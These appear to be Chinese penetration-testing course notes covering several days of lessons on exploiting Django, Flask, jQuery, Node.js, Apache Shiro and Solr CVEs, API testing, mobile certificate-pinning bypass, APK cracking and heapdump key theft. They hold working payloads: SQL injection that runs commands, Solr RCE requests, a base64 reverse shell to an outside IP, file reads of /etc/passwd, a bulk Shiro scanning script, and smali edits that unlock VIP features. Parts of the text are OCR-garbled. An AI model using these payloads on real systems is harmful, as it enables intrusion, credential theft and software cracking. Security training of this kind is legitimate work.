2、判断服务类型归属数据库&文件传输&通讯等
3、判断服务利用方式特定漏洞&未授权&弱口令等

开发框架组件安全测试流程:

1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式

演示案例:

Python-开发框架安全-Django&Flask
JavaScript-开发框架安全-Jquery&Node

Python-开发框架安全-Diango&Fask

Django

Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开
发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以
方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能
强大的第三方插件,使得Django.具有较强的可扩展性。
1、Cve_201914234 需要登录到后台
访问下面的路径,单引号已注入成功,SQL语句报错:
/admin/vuln/collection/?detail_a%27b=123
创建cmd exec:
admin/vuln/collection/?detail title%27)%3d%271%27%200r%201%3d1%20%3bcreate
%20table%20cmd_exec(cmd_output%20text)-%20
调用cmd_exec执行命令:
/admin/vuln/collection/?detail title%27)%3d%271%27%20or%201%3d1%20%3bcopy%
20cmd_exec%20FROM%20PROGRAM%20%27ping hqrwsz dnslog.cn%27–%20
2、CVE-2021-35042 vulfocus
/vuln/?order=vuln collection name)select%20updatexml(1,%20concat(0x7e,
select%20@@basedir)),1)%23
/vuln/?order=vuln collection.name)select%20updatexml(1.%20concat(Ox7e,
(select%20version())).1)%23
数i据库名:vuln/?order-vuln collection.name)select%20 updatexml1,%20 concat(0x7e,
select%20database()).1)%23
3、CVe-2022-28346
https://github.com/YouGina/CVE-2022-28346

Flask Jinja2 SSTI

Flask是一个使用Pythons编写的轻量级Web应用框架。其WSGl工具箱采用Verkzeug,模
板引擎则使用Jinja2 vulhub
?name=%7B%25%20for%20c%20in%20%5B%5D.class_base_subclasses_
()
%20%25%7D%0A%7B%25%20if%20c.name %20%3D%3D%20%27catch_warning
s%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.init__globals
values()

JavaScript-开发框架安全-Jquery&Node

jQuery

1、cve_2018_9207cve20189208cve20189209
描述jQuery是一个快速、简洁的JavaScript框架,是继Prototype,之后又一个优秀的
JavaScript代码库(框架)于2006年1月由John Resig发布。
jQuery Upload File<=4.0.2中的任意文件上传
curl -F “myfile=@php.php”“http://123.58.236.76:56579/jquery-upload-
file/php/upload.php”

Node.js

1、Cve202121315 vulfocus
Node.js:是一个基于Chrome V8引擎的JavaScripti运行环境,用于方便的培建响应速度快
易于拓展的网络应用。
Node.js-systeminformation是用于获取各种系统信息的Node.js模块在存在命令注入漏同的
版本中,攻击者可以通过未过滤的参数中注入payloadi执行系统命令。
Systeminformation<5.3.1
git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git
node index.js
/api/getServices?name=$(echo -e ‘xiaodi’>test.txt)
2、cve201714849 vulfocus
GET:
/static/…/…/…/…/…/etc/passwd

第六十四天 服务攻防-框架安全&CVE复现Apache shiro&Apache Solr

#知识点:

中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等

#章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞

#前置知识:

-中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

-应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

-开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式

  • ApacheShiro-组件框架安全

1
2
3
4
Apache Shiro是一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理
判断:大多会发生在登录处,返回包里包含remeberMe=deleteMe字段,主要用到java中
搜索:header="remeberMe=deleteMe"
在cookie中带有:Set-Cookie: remeberMe=deleteMe; Path=/; Max-Age=0; Expires=Tue, 26-Apr-2022 22:23:24 GMT
1
2
3
4
5
6
7
8
9
10
11
12
漏洞:https://avd.aliyun.com/search?q=shiro
Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】
Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】
Apache Shiro < 1.4.2 cookie oracle padding漏洞 【CVE-2019-12442】
Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957】
Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989】
Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933】
Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523】
1、CVE_2016_4437 Shiro-550+Shiro-721
环境:https://vulfocus.cn/#/dashboard?image_id=df02a278-761c-483b-913f-9f8142b9a19f

在GUI_Tools中也有他检测的漏洞利用。先点击检测当前秘钥,然后爆破秘钥,在接着爆破利用链及回显。回显结果: 发现构造链:CommonsCollections2 回显方式: TomcatEcho然后在选择相对应的。可以执行命令。
1
2
3
4
5
2、CVE-2020-11989
漏洞下载地址:https://github.com/jweny/shiro-cve-2020-17523
影响范围:Apache Shiro < 1.7.1

下载源码,用idea打开,直接启动,默认开放9090端口,访问:http://127.0.0.1:9090/
1
2
默认加载的地方:org.test.springbootshiro.SpringbootShiroApplication
点击springbookshiroapplication 然后edit
1
2
3
4
5
6
在\src\main\java\org\test\springbootshiro目录下,有LoginController.java,SpringbootShiroApplication.java两个文件

在LoginController.java中,访问/doLogin,尝试输入账号密码,成功提示success,失败提示failed
账号密码配置文件是在MyRealm.java文件中配置:java 123

当直接访问http://127.0.0.1:9090/admin/xxx的时候,地址就自动换成http://127.0.0.1:9090/login,显示内容为please login!,就是要登录的意思。
1
2
这个漏洞是直接访问:http://127.0.0.1:9090/admin/%20
这样就可以直接登录到后台。
1
2
3
4
5
6
7
8
9
如果在白盒的角度分析的话,这个漏洞是怎么产生的。在LoginController.java这个文件中,这个文件引用了一个包:import org.apache.shiro.SecurityUtils;
在pom.xml配置文件中:
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.7.0</version>
</dependency>

引用了这个框架org.apache.shiro,版本是1.7.0符合漏洞版本。
1
2
3
4
5
6
7
8
9
3、CVE-2020-1957
影响范围:Apache Shiro < 1.5.3

启动环境:
cd /vulhub-master/shiro$ cd CVE-2020-1957
sudo docker-compose up -d

访问:http://192.168.233.128:8080/,点击login跳转:http://192.168.233.128:8080/login.html
如果直接访问:http://192.168.233.128:8080/xxx/..;/admin/就相当于直接进入了后台目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
也可以在网上写python代码来进行测试:
语法:app="APACHE-Shiro"

import os
import requests

for url in open('ips.txt'):
url=url.strip()
url='http://'+url+'/;/login'
try:
code=requests.get(url).status_code
print(code)
if code==200:
print(url+'|ok')
except Exception as e:
pass
1
附加:shiro是很有名的漏洞点,特别是在面试中,基本上都会问到这个知识点。
  • ApacheSolr-组件框架安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。

漏洞:https://avd.aliyun.com/search?q=solr
远程命令执行RCE(CVE-2017-12629)
远程命令执行XXE(CVE-2017-12629)
任意文件读取AND命令执行(CVE-2019-17558)
远程命令执行漏洞(CVE-2019-0192)
远程命令执行漏洞(CVE-2019-0193)
未授权上传漏洞(CVE-2020-13957)
Apache Solr SSRF (CVE-2021-27905)
1、远程命令执行RCE(CVE-2017-12629)
影响版本:Apache solr<7.1.0版本
语法:app="APACHE-Solr" && title=="Solr Admin"

启动环境:
cd /vulhub-master/solr/CVE-2017-12629-RCE
sudo docker-compose up -d

参考:https://vulhub.org/#/environments/solr/CVE-2017-12629-RCE/

访问:http://192.168.233.128:8983/solr/#/
访问特定地址进行抓包:
http://192.168.233.128:8983/solr/demo/config
POST提交:{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
执行的命令是:touch /tmp/success
数据包:
POST /solr/demo/config HTTP/1.1
Host: 192.168.233.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
1
2
3
4
5
6
7
8
9
10
但是失败了,然后按照官方的原封不动的发:
POST /solr/demo/config HTTP/1.1
Host: 192.168.233.128:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
1
2
3
进入docker环境查看是否成功:
进入:sudo docker-compose exec solr bash
查看:ls /tmp
1
2
3
4
5
6
7
8
9
2、任意文件读取AND命令执行(CVE-2019-17558)
影响版本:Apache Solr 5.0.0版本至8.3.1

环境:https://vulfocus.cn/#/dashboard?image_id=0c32e104-8afe-433d-8b10-904d18704bef

利用脚本:https://github.com/jas502n/solr_rce

这个脚本采用了python2开发,用到虚拟机的python2环境。
执行命令:
1
也可以进行批量测试,修改solr_rce.py文件
1
2
3
4
5
6
7
8
9
10
11
12
13
3、远程命令执行漏洞(CVE-2019-0193)
影响版本:Apache Solr < 8.2.0版本
需要登录才能利用。

启动环境:
cd /vulhub-master/solr/CVE-2019-0193
sudo docker-compose up -d


参考:https://vulhub.org/#/environments/solr/CVE-2019-0193/

访问:http://192.168.233.128:8983/solr/#/
默认是没有test的,在执行:sudo docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
把poc进行复制:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjE1MS4yOS81NTY2IDA+JjE=}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

其中YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==是反弹命令base64编码。
反弹命令:bash -i >& /dev/tcp/175.178.151.29/5566 0>&1
base64:YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjE1MS4yOS81NTY2IDA+JjE=

然后在点击execute with this configuration
1
2
3
4
5
6
7
8
9
10
4、Apache Solr 文件读取&SSRF (CVE-2021-27905)

启动环境:
cd /vulhub-master/solr/Remote-Streaming-Fileread
sudo docker-compose up -d

访问:http://192.168.233.128:8983/solr/#!/
1、获取数据库名
http://192.168.233.128:8983/solr/admin/cores?indexInfo=false&wt=json
数据库名:demo
1
2
3
4
2、访问触发
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://192.168.233.128:8983/solr/demo/config'
1
2
3、任意文件读取
curl -i -s -k 'http://192.168.233.128:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
1
2
3
4
为什么说也是ssrf漏洞,是因为用到了file协议去读取,这样也可以进行内网探针,比如把file协议进行修改为http协议。看支不支持http协议可以用dnslog来进行判断。
curl -i -s -k 'http://192.168.233.128:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=http://2e8m2t.dnslog.cn'

执行能接受到反弹,所以支持http协议。

第65天 API安全-接口安全&WebPack&REST&SOAP&WSDL&WebService

知识点

1.HTTP类接口-测评
2.RPC类接口-测评
3.Web Service类-测评
参考链接:https://www.jianshu.com/p/e48db27d7c70

内容点:

SOAP(Simple Object Access Protocol)简单对象访问协议是交换数据的一种协议规范,
是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议,它被设计
成在WEB上交换结构化的和固化的信息,SOAP不是Web Servicet的专有协议,
SOAP使用HTTP来发送XML格式的数据,可以简单理解为:SOAP=HTTP+XML

REST(Representational State Transfer)即表述性状态传递,在三种主流的Web服务实
现方案中,因为REST模式的Wb服务与复杂的SOAP和XML-RPC对比来讲明显的更加简
洁,越来越多的Web服务开始采用REST风格设计和实现。例如,Amazon.com提供接近
REST风格的Web服务进行图书查找;雅虎提供的Web服务也是REST风格的。

WSDL(Web Services Description Language)即网络服务描述语言,用于描述Web服务
的公共接口。这是一个基于XML的关于如何与Wb服务通讯和使用的服务描述;也就是描
述与目录中列出的Wb服务进行交互时需要绑定的协议和信息格式。通常采用抽象语言描
述该服务支持的操作和信息,使用的时候再将实际的网络协议和信息格式绑定给该服务。

接口数据包:

Method:请求方法
攻击方式:OPTIONS,PUT,MOVE,DELETE
效果:上传恶意文件,修改页面等
URL:唯一资源定位符
攻击方式:猜测,遍历,跳转
效果:未授权访问等
Params:请求参数
攻击方式:构造参数,修改参数,遍历,重发
效果:爆破,越权,未授权访问,突破业务逻辑等
Authorization:认证方式
攻击方式:身份伪造,身份篡改
效果:越权,未授权访问等
Headers:清求消息头
攻击方式:拦截数据包,改Hosts,
改Referer,改Content-Type等
效果:绕过身份认证,绕过Referer验证,绕过类型验证,DDOS等
Body:消息体
攻击方式:SQL注入,XML注入,反序列化等
效果:提权,突破业务逻辑,未授权访问等

安全问题:
XSS跨站,信息泄露,暴力破解,文件上传,未授权访问,JWT授权认证,接口滥用等

演示案例:
WebService:类-Wsdl&ReadyAP-SQL注入
SOAP类-Swagger&SoapUla&EXP-信息泄露
HTTP类-WebPack&PackerFuzzer-信息泄露

WebService-Wsdl&SoapUl
探针:?wsdl
利用:SoapUla&ReadyAPI
思路:使用googlehack语法查找可能含有漏洞的资产 edu.cn inurl:asmx?wsdl
使用工具readyAPI进行扫描—扫描出存在sql注入–sqlmap一把梭

SOAP-Swagger&SoapUl&EXP
探针:目录&S资源
利用:SoapUla&EXP
https://github.com/lijiejie/swagger-exp
https://github.com/jayus0821/swagger-hack
目录:
/swagger
/api/swagger
/swagger/ui
/api/swagger/ui
/swagger-ui.html
/api/swagger-ui.html
/user/swagger-ui.html
/libs/swaggerui
/api/swaggerui
/swagger-resources/configuration/ui
/swagger-resources/configuration/security
思路同上 使用swagger-hack.py脚本

#HTTP-Webpack&PackerFuzzer
探针:插件&JS资源
利用:PackerFuzzer
https://github.com/rtcatc/Packer-Fuzzer

第66天 API安全-接口安全&阿里云KEY%postman&DVWS&XEE&鉴权&泄露

知识点
1.HTTP类接口-测评
2.RPC类接口-测评
3.Web Service类-测评
参考链接:https://www.jianshu.com/p/e48db27d7c70

内容点:
SOAP(Simple Object Access Protocol)简单对象访问协议是交换数据的一种协议规范,
是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议,它被设计
成在WEB上交换结构化的和固化的信息,SOAP不是Web Servicet的专有协议,
SOAP使用HTTP来发送XML格式的数据,可以简单理解为:SOAP=HTTP+XML

REST(Representational State Transfer)即表述性状态传递,在三种主流的Web服务实
现方案中,因为REST模式的Wb服务与复杂的SOAP和XML-RPC对比来讲明显的更加简
洁,越来越多的Web服务开始采用REST风格设计和实现。例如,Amazon.com提供接近
REST风格的Web服务进行图书查找;雅虎提供的Web服务也是REST风格的。

WSDL(Web Services Description Language)即网络服务描述语言,用于描述Web服务
的公共接口。这是一个基于XML的关于如何与Wb服务通讯和使用的服务描述;也就是描
述与目录中列出的Wb服务进行交互时需要绑定的协议和信息格式。通常采用抽象语言描
述该服务支持的操作和信息,使用的时候再将实际的网络协议和信息格式绑定给该服务。

接口数据包:
Method:请求方法
攻击方式:OPTIONS,PUT,MOVE,DELETE
效果:上传恶意文件,修改页面等
URL:唯一资源定位符
攻击方式:猜测,遍历,跳转
效果:未授权访问等
Params:请求参数
攻击方式:构造参数,修改参数,遍历,重发
效果:爆破,越权,未授权访问,突破业务逻辑等
Authorization:认证方式
攻击方式:身份伪造,身份篡改
效果:越权,未授权访问等
Headers:清求消息头
攻击方式:拦截数据包,改Hosts,
改Referer,改Content-Type等
效果:绕过身份认证,绕过Referer验证,绕过类型验证,DDOS等
Body:消息体
攻击方式:SQL注入,XML注入,反序列化等
效果:提权,突破业务逻辑,未授权访问等

安全问题:
XSS跨站,信息泄露,暴力破解,文件上传,未授权访问,JWT授权认证,接口滥用等

演示案例:
工具使用-Postman自动化汉测试
安全问题-Dvws泄世漏&鉴权&XE
安全问题-阿里KEY信息泄漏利用
应用方向-违法APP打包接口分析

工具使用-Postman自动化测试
https://www.postman.com/downloads/

安全问题-Dvws世是&鉴权&OXE

https://github.com/snoopysecurity/dvws-node
1、注册时抓包可尝试修改admin为ture,看看能否绕过jwt验证
登录返回的数据包为admin,false

修改登录数据包为admin=true

2、通过数据包中body的格式判断提交请求的格式为xml格式,尝试是否存在XXE漏洞,利用XXE可以实现读取文件、若误回显可以尝试外部实体注入或者使用dnslog检测漏洞存在
复现:在用户数据搜索出抓包,看到格式为xml格式,尝试使用xxe漏洞读取到文件

安全问题-阿里云KEY信息池漏利用
https://yun.cloudbility.com/
https://github.com/mrknow001/aliyun-accesskey-Tools
接口配置文件泄漏导致云资源生机受控
目前为止,云服务器已经占据了服务器的大部分市场,由于云服务器易管理,操作性强,安全程度高。很多大型厂商都选择将资产部署在云服务上,但安全的同时由于运维人员的疏忽也会导致一些非预期的突破口。当云产品Accesskey在调用过程中,出现泄漏会导致对象控制资源全部被控,影响严重!
1、常规获取Accesskey方式
-通过源码泄漏配置文件
-通过应用程序报错读取
-通过JS文件引用中获取
如图:页面报错

应用方向违法APP打包接口分析

完整的分析流程:burp抓包找到真实访问的域名地址—通过信息收集到含有使用webpack组件的网站
–使用/Packer-Fuzzer工具扫描

第67天 APP攻防-Frida反证书抓包&移动安全系统&资产提取&评估扫描

知识点:

1、资产提权-AppinfoScanner
2、评估框架-MobSF&mobexler
3、抓包利器-Frida&rOcapture

章节点:

1、信息收集-应用&资产提取&权限等
2、漏洞发现反编译&脱壳&代码审计
3、安全评估-组件&敏感密匙&恶意分析

核心点:

0、内在点资产提取&版本&信息等
1、抓包点-反代理&反证书&协议等
2、逆向点-反编译&脱壳&重打包等
3、安全点资产&接口8漏洞&亩计等

演示案例:

内在-资产提取-AppinfoScanner
内在-安全评估-MobSF&mobexler
外在-证书抓包-Frida-server&rOcapture

内在-资产提取-Appinfoscanner

Appinfoscanner一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、
iOS、WEB、H5、静态网站)信息收集扫描工具,可以帮助渗透测试工程师、攻击队成员、
红队成员快速收集到移动端或奢静态WEB站点中关键的资产信惠并提供基本的信息输出,
如:Title、Domain、CDN、撞纹信息、状态信息等.
httpslgithub.com/kelvinBen/AppinfoScanner

内在-安全评估-MobsF&mobexler

移动安全框爆(MobsF)是一种自动化的一体化移动应用程序(AndroidiosWindows)渗
透测试、恶意软件分析和安全评估框案,能够执行静态和动态分析,MobSF支持移动应用
程序二进制文件(APK、XAPK、IPA和APPX)以及压缩源代码,并视供RESTAPI以与
您的CI/CD或DevSecOps管道无缝集成。动态分析器可帮助您执行运行时安全评估和交
互式仪器浏试。
-Mobexler是基于ElementaryOs的定制虚拟机,盲在带助进行Android和iOs应用程序的渗
透测试。Mobexler预装了各种开源工具,脚本,黑密必备件等,这些部是安全测试
Androld和ios应用程序所必需的.
https:l/mobexler.com/
https:/lgithub.com/MobsF/Mobile-Security-Framework-MobsF
dockerpullopensecurity/mobile-secunity-framework-mobst
docker run -it -p 8008:8000 opensecurity/mobile-security-framework-mobsf:latest

外在-证书抓包-frida-server&rocapture

-r0capture仅限安卓平台,测试安卓7、8、9、10、11 可用 ;
无视所有证书校验或绑定,不用考虑任何证书的事情;
通杀TCP/P四层模型中的应用层中的全部协议;
通杀协议包括:Http,Websocket,Ftp,Xmpp,Imap,Smtp,Protobu等、及它们的ssL版本;
通杀所有应用层框架,包括HttpUrlConnection、Okhttp1/3/4、Retrofit/Volley等等;
无视加固,不管是整体壳还是二代壳或VMP,不用考虑加固的事情;
-Firda 是一款易用的跨平 Hook 工具,Java 层到 Native 层的 Hook 无所不能,是一种 动
态的插桩工具,可以插入代码到原生App的内存空间中,动态的去监视和修改行为,原生
平台包括Win、Mac、Linux、Android、ios全平台。

测试环境:
Windows10Python3.7夜神模拟器rocapturefrida-serverwireshark
https://lgithub.com/roysue/rocapture
https://github.com/frida/frida/releases

3、转发并启动Frida
adbforwardtcp:27042tcp:27042
连接判断: frida-ps-U frida-ps-R
4、获取包名并运行抓包
获取包名:Is/data/data或ApkMessenger
python rocapture.py-U -f包名-p xxxx.pcap

第68天 APP攻防-Xposed&Frida&Hook&证书校验&反代理&代理转发

知识点:

1、APP防代理绕过-应用&转发
2、APP证书校验类型-单向&双向
3、APP证书校验绕过-Frida&XP框架等

章节点:

1、信息收集-应用&资产提取&权限等
2、漏洞发现-反编译&脱壳&代码审计
3、安全评估-组件&敏感密匙&恶意分析

核心点:

0、内在点-资产提取&版本&信息等
1、抓包点-反代理&反证书&协议等
2、逆向点-反编译&脱壳&重打包等
3、安全点-资产&接口&漏洞&审计等

演示案例:

某牛牛防抓包-xposed&frida&rOcapture
某社交防抓包-Proxifier&frida&rocapture

反代理绕过:

https://zone.huoxian.cn/d/440-app
1、自身的抓包应用
2、Proxifier转发使用
思路:
1、先使用模拟器中的代理软件检测app是否有防代理机制,若存在则考虑在宿主机上采用proxifier转发模拟器的数据包到burp绕过反代理的检测机制
2、若通过上述手段后app仍显示网路错误,但是burp中显示一两个数据包,则是验证了证书,若想要绕过证书可采用以下三种方法,安装xposed框架–安装绕过代理、绕过证书应用–开启proxifier代理转发

证书校验绕过:

情况1,客户端不存在证书校验,服务器也不存在证书校验,
情况2,客户端存在校验服务端证书,服务器也不存在证书校验,单项校验。
情况3、客户端存在证书校验,服务器也存在证书校验,双向校验。
1、Frida&rocapture底层
2、Xposed&JustTrust&HOOK
3、反编译逆向提取证书重编打包

探探APP测试:1、先尝试模拟器代理转发数据到burp(显示网络连接异常)
2、尝试使用proxifier代理转发模拟器的数据包到burp(有数据包但是因为转发速度限制仍存在问题)
3、使用xposed尝试绕过反代理和证书

夜神模拟器和逍遥模拟器
有些应用存在反虚拟机功能,检测到为虚拟机时会打不开应用,夜神模拟器可以绕过反vm检测

第69天 APP攻防-反编译&查壳脱壳&重打包签名&修改次数会员版权限制

知识点:

1、APP防代理绕过-应用&转发
2、APP证书校验类型-单向&双向
3、APP证书校验绕过-Frida&XP框架等

章节点:

1、信息收集-应用&资产提取&权限等
2、漏洞发现-反编译&脱壳&代码审计
3、安全评估-组件&敏感密匙&恶意分析

核心点:

0、内在点-资产提取&版本&信息等
1、抓包点-反代理&反证书&协议等
2、逆向点-反编译&脱壳&重打包等
3、安全点-资产&接口&漏洞&审计等

演示案例:

反编译加固-自动查壳脱壳
功能修改-反编译&次数&会员
功能修改-反编译&图标&信息
打包编译证书签名&重打包等

反编译加固-自动查壳脱壳
https://github.com/CodingGay/BlackDex
查壳:ApkScan-PWD
脱壳:BlackDex

#功能修改-反编译&次数&会员

贵妃APP实战:
思路:功能每日观看次数处尝试修改手机型号、IEMI值可绕过次数限制
修改get_is_svip为1,使得用户默认为svip
-次数:
逻辑:修改手机型号

1
2
3
4
5
.method public getRe_today_view_times(Ljava/lang/String;
.locals 1
.line 307
iget-object vo,po,Lcom/ufozfnxzqm/dvbphwfo/entity/Userlnfo;-
re_today_view_times:Ljava/lang/String;

会员:

1
2
3
4
5
6
7
.method public getls_vip()I
.locals 1
.line 347
.iget vo,p0,Lcom/ufozfnxzqm/dvbphwfo/entity/Userlnfo;->is vip:I
const/4 vo.0x
return vo
.end method

功能修改-反编译&图标&信息

使用安卓修改大师修改图标和信息,还可以修改app权限获取收集通讯录等

第70天 APP攻防-微信小程序&解包反编译&数据抓包&APK信息资源提取

知识点:

1、APK信息资源提取
2、微信小程序致据抓包
3、做信小程序解包反编译

1、信息收集应用8资产提取&权限等
2、漏润发现-反编泽&脱壳&代码审计
3、安全评估组件8散密匙&思意分析

核心点:

1、内在点资产提取&版本&信息等
2、抓包点-反代理8反证书8协议等
3、逆向点-反编译8脱壳8重打包等
4、安全点资产&接口&漏洞&审计等

演示案例:

APP&APK-信息资源文件提取
微信小程序-真机&模拟器数据抓包
微信小程序-PC&模拟器分包反编译

APP&APK-信息资源文件提取

APK Messenger–是本信愿&资源文件&开启权限等

微信小程序真机&模拟器数据抓包

安卓系统抓包(微信小程序):
1、安卓系统7.0以下版本,不管微信任意版本,都会信任系统提供的证书
2、安卓系统7.0以上版本,微信7.0以下版本,微信会信任系统提供的证书
3、安卓系统7.0以上版本,微信7.0以上版本,微信只信任它自己配置的证书列表
基于上述我们解决的方式如下:
1、将证书安装到系统证书中(需要r00t)
2、苹果手机(苹果手机不受此影响)
3、采用安卓系统低于7.0的横拟器
演示:逍遥模拟器5.1安卓系统微信小程序抓包
思路:模拟器代理转发到burp
演示:夜神模拟器多开5安卓系统微信小程序抓包
演示:真机IPhone-OS系统微信小程序抓包
条件:抓包本机需要和Iphone手机处于同一WIFI下
Iphonei配置wif的代理,代理设置地址写本地抓包的工具地址和端口

安全点:
渗透角度:测试的app提供服务的服务器,网站,接口等,一旦这个有安全问题,被不法
分子利用,相当于APP正常服务就会受到直接的影响!
APK-白盒-Java代码审计
APK-黑盒-资产&WEB&IP&接口等
小程序-白盒-Node.JS代码审计
小程序黑盒资产&WEB&P&接口等
开发角度:测试的app里代码的设计安全,采用没加密的发送数据,采用权限过高的设置
导致攻击者利用app获取到手机的敏感信息等。
弱加密,逻辑安全,授权,中间人等

微信小程序-PC&模拟器分包反编译

1、高富帅版:
欢迎使用多功能小程序助手工具,点击确定开始使用。
免责声明:不得将小程序反编泽源码程序和反编泽图片素材挪作商业或盈利用
使用教程地:https:www.kancloud.cn/ludeqi/XCXZS/2607637
最新版下载地址:https:xcX.siqingw.top/xcx.zip
2、穷屌丝版:
https://github.com/sanriqing/WxAppUnpacker
安装node.js
http://nodejs.cn/download/
安装依赖:
npm install
模拟器取出wxapkg文件:
/data/data/com.tencent.mm/MicroMsg/xxxxxx/appbrand/pkg
反编译解包
node wuWxapkg.js -s=…/xxxx.wxapkg

第71天 APP攻防-实战拿下&Springboot未授权&HeapDump提取&OSS利用

安全测试报告:

1、Spring Boot Actuator v.2未授权访问
2、Spring Boot RCE
3、HeapDump-信息泄漏-帐号密码等
select s from java.lang.String s
where /pass/.test(s.value.toString())

-HeapDump:分析: ———-忽然想起来之前遇到渗透靶场里面也考了这个知识点,就是在泄露的信息中找的到flag。
JVisualVM MAT heapdump_tool等
JVisualVM:jdk自带
MAT:https://www.eclipse.org/mat/downloads.php
heapdump_tool:https://github.com/wyzxxz/heapdump_tool
-Actuator未授权检测:
https://github.com/rabbitmask/SB-Actuator
-SpringBooti漏洞利用:
https://github.com/LandGrey/SpringBootVulExploit
-OSS_AccessKey利用:
https://github.com/mrknow001/aliyun-accesskey-Tools

录像剪辑严重这里只简单说一下思路:

APP抓包信息收集出域名发现使用webpack所以packfuzz进行扫描,
再把域名放到awvs进行扫描
–发现actuator未授权访问漏洞(进行rce测试)
–下载heapdump下载后分析–翻出阿里云mysql账号密码
–因为只能本地访问所以连接失败–继续翻heapdump文件使用heapdump_tools翻出阿里云主机key
–获取到阿里云主机权限

第72天 漏洞发现-Web框架中间件&联动&Goby&Afrog&Xray&Awvs&Vulmap

知识点:

1、Bup简单介绍&使用说明
2、Xray简单介绍&使用说明
3、AWWS简单介绍&使用说明
4、Goby简单介绍&使用说明
5、Afrog简单介绍&使用说明
6、ulmap简单介绍&使用说明
7、Pocassist简单介绍&使用说明
8、掌握工具安装使用&原理&联动&适用
市面上有很多漏扫系统工具脚本,课程讲到的基本都是目前主流推荐的优秀项目!
具体项目:Burpsuite,Awvs,Xray,Goby,Afrog,Vulmap,Pocassist,Nessus,
Nuclei,Pentestkit,Kunyu,BP播件(HaE,ShiroScan.FastJsonScan,Log4j2Scan等)等。

章节点:

1、漏洞发现-Web&框架层面
2、漏洞发现-服务&中间件层面
2、漏洞发现-APP&小程序层面
3、漏洞发现-PC操作系统层面

